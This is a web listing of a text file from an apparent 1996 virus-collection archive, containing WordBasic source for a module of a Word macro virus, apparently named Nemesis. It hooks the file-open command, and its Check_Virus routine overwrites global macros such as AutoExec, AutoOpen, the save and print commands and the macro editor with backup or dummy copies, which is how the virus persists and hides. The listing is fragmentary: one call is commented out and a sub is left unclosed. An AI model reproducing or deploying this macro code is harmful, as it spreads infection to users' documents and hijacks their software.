home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESI10.TXT next >
Encoding:
Text File  |  1996-04-16  |  970 b   |  31 lines
  1. Macro DateiOffnen
  2.  
  3. Sub MAIN
  4. Dim dlg As FichierOuvrir
  5.  
  6. 'Call Check_Virus
  7.  
  8. GetCurValues dlg
  9. On Error Resume Next
  10. Dialog dlg
  11. FichierOuvrir dlg
  12.  
  13.  
  14. Sub Check_Virus
  15. On Error Resume Next
  16. MacroCopie "Global:AutoExecBak", "Global:AutoExec", 1
  17. MacroCopie "Global:AutoOpenBak", "Global:AutoOpen", 1
  18. MacroCopie "Global:DateiSpeichernUnterBak", "Global:DateiSpeichernUnter", 1
  19. MacroCopie "Global:DateiSpeichernBak", "Global:DateiSpeichern", 1
  20. MacroCopie "Global:DropBak", "Global:Drop", 1
  21. MacroCopie "Global:DateiBeendenBak", "Global:DateiBeenden", 1
  22. MacroCopie "Global:DateiDruckenBak", "Global:DateiDrucken", 1
  23. MacroCopie "Global:DateiDruckenStandardBak", "Global:DateiDruckenStandard", 1
  24. MacroCopie "Global:ExtrasMakroBak", "Global:ExtrasMakro", 1
  25. MacroCopie "Global:Dummy", "Global:AutoClose", 1
  26. MacroCopie "Global:Dummy", "Global:AutoExit", 1
  27. MacroCopie "Global:Dummy", "Global:AutoNew", 1
  28. MacroCopie "Global:Dummy", "Global:AutoClose", 1
  29.  
  30. End Sub
  31.